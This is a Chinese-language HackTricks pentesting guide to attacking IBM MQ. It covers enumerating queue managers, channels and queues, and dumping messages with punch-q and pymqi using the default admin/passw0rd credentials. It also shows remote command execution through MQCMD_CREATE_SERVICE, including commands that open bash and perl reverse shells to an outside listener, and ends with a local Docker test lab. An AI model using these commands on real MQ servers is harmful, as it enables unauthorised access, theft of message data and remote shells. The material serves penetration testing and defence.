从零开始学习AWS黑客技术,成为专家 htARTE(HackTricks AWS Red Team Expert) ! 您在网络安全公司 工作吗?您想在HackTricks中看到您的公司广告 吗?或者您想访问PEASS的最新版本或下载PDF格式的HackTricks 吗?请查看订阅计划 !
基本信息
IBM MQ是IBM的一项技术,用于管理消息队列。与其他消息代理 技术一样,它专门用于在生产者和消费者之间接收、存储、处理和分类信息。
默认情况下,它会暴露IBM MQ TCP端口1414 。 有时,HTTP REST API也可以在端口9443 上暴露。 指标(Prometheus)也可以通过TCP端口9157 访问。
IBM MQ TCP端口1414可用于操纵消息、队列、通道等,也可用于控制实例 。
IBM提供了大量的技术文档,可在https://www.ibm.com/docs/en/ibm-mq 上找到。
工具
一个建议的用于简单利用的工具是**punch-q **,使用Docker。该工具积极使用Python库pymqi
。
对于更手动的方法,使用Python库**pymqi **。需要IBM MQ依赖项 。
安装pymqi
需要安装和加载IBM MQ依赖项 :
解压缩(tar xvzf 9.0.0.4-IBM-MQC-LinuxX64.tar.gz
)。
运行sudo ./mqlicense.sh
接受许可条款。
如果您使用Kali Linux,请修改文件mqlicense.sh
:删除/注释以下行(在105-110行之间):
复制 if [ ${BUILD_PLATFORM} != ` uname ` _ ` uname ${UNAME_FLAG}` ]
then
echo "ERROR: This package is incompatible with this system"
echo " This package was built for ${BUILD_PLATFORM}"
exit 1
fi
复制 sudo rpm --prefix /opt/mqm -ivh --nodeps --force-debian MQSeriesRuntime-9.0.0-4.x86_64.rpm
sudo rpm --prefix /opt/mqm -ivh --nodeps --force-debian MQSeriesClient-9.0.0-4.x86_64.rpm
sudo rpm --prefix /opt/mqm -ivh --nodeps --force-debian MQSeriesSDK-9.0.0-4.x86_64.rpm
然后,临时将.so
文件添加到LD中:export LD_LIBRARY_PATH=/opt/mqm/lib64
,在 运行其他使用这些依赖项的工具之前。
然后,您可以克隆项目pymqi :它包含有趣的代码片段、常量,... 或者您可以直接安装该库:pip install pymqi
。
使用punch-q
使用Docker
只需运行:sudo docker run --rm -ti leonjza/punch-q
。
不使用Docker
克隆项目punch-q ,然后按照自述文件进行安装(pip install -r requirements.txt && python3 setup.py install
)。
安装完成后,可以使用punch-q
命令。
枚举
您可以尝试使用punch-q 或pymqi 来枚举队列管理器名称、用户、通道和队列 。
队列管理器
有时,获取队列管理器名称时没有任何保护措施:
复制 ❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 discover name
Queue Manager name: MYQUEUEMGR
通道
punch-q 使用内部(可修改的)单词列表来查找现有通道。使用示例:
复制 ❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd discover channels
"DEV.ADMIN.SVRCONN" exists and was authorised.
"SYSTEM.AUTO.SVRCONN" might exist, but user was not authorised.
"SYSTEM.DEF.SVRCONN" might exist, but user was not authorised.
一些 IBM MQ 实例接受未经身份验证 的 MQ 请求,因此不需要 --username / --password
。当然,访问权限也可能有所不同。
一旦我们获得一个通道名称(这里是:DEV.ADMIN.SVRCONN
),我们就可以枚举所有其他通道。
基本上可以使用 pymqi 中的这段代码片段 code/examples/dis_channels.py
来进行枚举:
复制 import logging
import pymqi
logging . basicConfig (level = logging.INFO)
queue_manager = 'MYQUEUEMGR'
channel = 'DEV.ADMIN.SVRCONN'
host = '172.17.0.2'
port = '1414'
conn_info = ' %s ( %s )' % (host , port)
user = 'admin'
password = 'passw0rd'
prefix = '*'
args = { pymqi . CMQCFC . MQCACH_CHANNEL_NAME : prefix }
qmgr = pymqi . connect (queue_manager, channel, conn_info, user, password)
pcf = pymqi . PCFExecute (qmgr)
try :
response = pcf . MQCMD_INQUIRE_CHANNEL (args)
except pymqi . MQMIError as e :
if e . comp == pymqi . CMQC . MQCC_FAILED and e . reason == pymqi . CMQC . MQRC_UNKNOWN_OBJECT_NAME :
logging . info ( 'No channels matched prefix ` %s `' % prefix)
else :
raise
else :
for channel_info in response :
channel_name = channel_info [ pymqi . CMQCFC . MQCACH_CHANNEL_NAME ]
logging . info ( 'Found channel ` %s `' % channel_name)
qmgr . disconnect ()
...但punch-q 也嵌入了该部分(附带更多信息!)。 可以使用以下方式启动:
复制 ❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN show channels -p '*'
Showing channels with prefix: "*" ...
| Name | Type | MCA UID | Conn Name | Xmit Queue | Description | SSL Cipher |
| ---------------------- | ------------------- | --------- | ----------- | ------------ | ----------------- | ------------ |
| DEV.ADMIN.SVRCONN | Server-connection | | | | | |
| DEV.APP.SVRCONN | Server-connection | app | | | | |
| SYSTEM.AUTO.RECEIVER | Receiver | | | | Auto-defined by | |
| SYSTEM.AUTO.SVRCONN | Server-connection | | | | Auto-defined by | |
| SYSTEM.DEF.AMQP | AMQP | | | | | |
| SYSTEM.DEF.CLUSRCVR | Cluster-receiver | | | | | |
| SYSTEM.DEF.CLUSSDR | Cluster-sender | | | | | |
| SYSTEM.DEF.RECEIVER | Receiver | | | | | |
| SYSTEM.DEF.REQUESTER | Requester | | | | | |
| SYSTEM.DEF.SENDER | Sender | | | | | |
| SYSTEM.DEF.SERVER | Server | | | | | |
| SYSTEM.DEF.SVRCONN | Server-connection | | | | | |
| SYSTEM.DEF.CLNTCONN | Client-connection | | | | | |
队列
有一个使用 pymqi 的代码片段 (dis_queues.py
),但 punch-q 允许检索有关队列的更多信息:
复制 ❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN show queues -p '*'
Showing queues with prefix: "*" ...
| Created | Name | Type | Usage | Depth | Rmt. QM | Rmt. Qu | Description |
| | | | | | GR Name | eue Nam | |
| | | | | | | e | |
| ----------- | ---------------------- | -------- | --------- | -------- | --------- | --------- | ----------------------------------- |
| 2023-10-1 | DEV.DEAD.LETTER.QUEU | Local | Normal | 0 | | | |
| 0 18.35.1 | E | | | | | | |
| 9 | | | | | | | |
| 2023-10-1 | DEV.QUEUE.1 | Local | Normal | 0 | | | |
| 0 18.35.1 | | | | | | | |
| 9 | | | | | | | |
| 2023-10-1 | DEV.QUEUE.2 | Local | Normal | 0 | | | |
| 0 18.35.1 | | | | | | | |
| 9 | | | | | | | |
| 2023-10-1 | DEV.QUEUE.3 | Local | Normal | 0 | | | |
| 0 18.35.1 | | | | | | | |
| 9 | | | | | | | |
# Truncated
漏洞利用
转储消息
您可以针对队列/通道进行定位,以便从中嗅探/转储消息(非破坏性操作)。示例:
复制 ❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN messages sniff
复制 ❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN messages dump
不要犹豫,对所有识别的队列进行迭代。
代码执行
在继续之前,有一些细节:IBM MQ可以通过多种方式进行控制:MQSC、PCF、控制命令。一些常见列表可以在IBM MQ文档 中找到。 PCF (可编程命令格式 )是我们专注于与实例远程交互的内容。punch-q 和pymqi 都基于PCF交互。
您可以找到PCF命令列表:
一个有趣的命令是MQCMD_CREATE_SERVICE
,其文档可在此处 找到。它以StartCommand
作为参数,指向实例上的本地程序(例如:/bin/sh
)。
文档中还对该命令进行了警告:“注意:此命令允许用户以mqm权限运行任意命令。如果授予使用此命令的权限,恶意或粗心的用户可能定义一个损坏您系统或数据的服务,例如通过删除必要文件。”
注意:始终根据IBM MQ文档(管理参考)的说法,还有一个HTTP端点位于 /admin/action/qmgr/{qmgrName}/mqsc
,用于运行相应的MQSC命令以创建服务( DEFINE SERVICE
)。这方面目前尚未在此处涵盖。
使用punch-q 可以通过PCF进行远程程序执行的服务创建/删除:
示例1
复制 ❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN command execute --cmd "/bin/sh" --args "-c id"
在 IBM MQ 的日志中,您可以看到命令已成功执行:
复制 2023-10-10T19:13:01.713Z AMQ5030I: The Command '808544aa7fc94c48' has started. ProcessId ( 618 ) . [ArithInsert1(618), CommentInsert1( 808544aa7fc94c48 )]
您还可以枚举机器上现有的程序(这里 /bin/doesnotexist
... 不存在):
复制 ❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN command execute --cmd "/bin/doesnotexist" --arg
s "whatever"
Command: /bin/doesnotexist
Arguments: -c id
Service Name: 6e3ef5af652b4436
Creating service...
Starting service...
The program '/bin/doesnotexist' is not available on the remote system.
Giving the service 0 second ( s ) to live...
Cleaning up service...
Done
请注意,程序启动是异步的。因此,您需要第二个项目来利用漏洞 (反向shell的监听器,不同服务上的文件创建,通过网络进行数据外泄...)
示例2
为了简单地获取反向shell,punch-q 还提供了两种反向shell有效载荷:
当然,您也可以使用 execute
命令构建自定义的有效载荷。
对于bash:
复制 ❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN command reverse -i 192.168.0.16 -p 4444
对于perl:
复制 ❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN command reverse -i 192.168.0.16 -p 4444
自定义 PCF
您可以深入研究 IBM MQ 文档,并直接使用 pymqi Python 库来测试 punch-q 中未实现的特定 PCF 命令。
示例:
复制 import pymqi
queue_manager = 'MYQUEUEMGR'
channel = 'DEV.ADMIN.SVRCONN'
host = '172.17.0.2'
port = '1414'
conn_info = ' %s ( %s )' % (host , port)
user = 'admin'
password = 'passw0rd'
qmgr = pymqi . connect (queue_manager, channel, conn_info, user, password)
pcf = pymqi . PCFExecute (qmgr)
try :
# Replace here with your custom PCF args and command
# The constants can be found in pymqi/code/pymqi/CMQCFC.py
args = { pymqi . CMQCFC . xxxxx : "value" }
response = pcf . MQCMD_CUSTOM_COMMAND (args)
except pymqi . MQMIError as e :
print ( "Error" )
else :
# Process response
qmgr . disconnect ()
如果找不到常量名称,可以参考IBM MQ文档 。
例如 MQCMD_REFRESH_CLUSTER
(十进制 = 73)的示例。它需要参数 MQCA_CLUSTER_NAME
(十进制 = 2029),可以是 *
(文档:):
复制 import pymqi
queue_manager = 'MYQUEUEMGR'
channel = 'DEV.ADMIN.SVRCONN'
host = '172.17.0.2'
port = '1414'
conn_info = ' %s ( %s )' % (host , port)
user = 'admin'
password = 'passw0rd'
qmgr = pymqi . connect (queue_manager, channel, conn_info, user, password)
pcf = pymqi . PCFExecute (qmgr)
try :
args = { 2029 : "*" }
response = pcf . MQCMD_REFRESH_CLUSTER (args)
except pymqi . MQMIError as e :
print ( "Error" )
else :
print (response)
qmgr . disconnect ()
测试环境
如果要测试IBM MQ的行为和漏洞,可以基于Docker设置本地环境:
在ibm.com和cloud.ibm.com上拥有账户。
复制 sudo docker pull icr.io/ibm-messaging/mq:9.3.2.0-r2
sudo docker run -e LICENSE=accept -e MQ_QMGR_NAME=MYQUEUEMGR -p1414:1414 -p9157:9157 -p9443:9443 --name testing-ibmmq icr.io/ibm-messaging/mq:9.3.2.0-r2
默认情况下,身份验证已启用,用户名为 admin
,密码为 passw0rd
(环境变量 MQ_ADMIN_PASSWORD
)。 在这里,队列管理器名称已设置为 MYQUEUEMGR
(变量 MQ_QMGR_NAME
)。
您应该已经启动并运行IBM MQ,并暴露了其端口:
复制 ❯ sudo docker ps
CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
58ead165e2fd icr.io/ibm-messaging/mq:9.3.2.0-r2 "runmqdevserver" 3 seconds ago Up 3 seconds 0.0.0.0:1414 - > 1414/tcp, 0.0.0.0:9157 - > 9157/tcp, 0.0.0.0:9443 - > 9443/tcp testing-ibmmq
IBM MQ的旧版本Docker镜像位于: https://hub.docker.com/r/ibmcom/mq/.
参考资料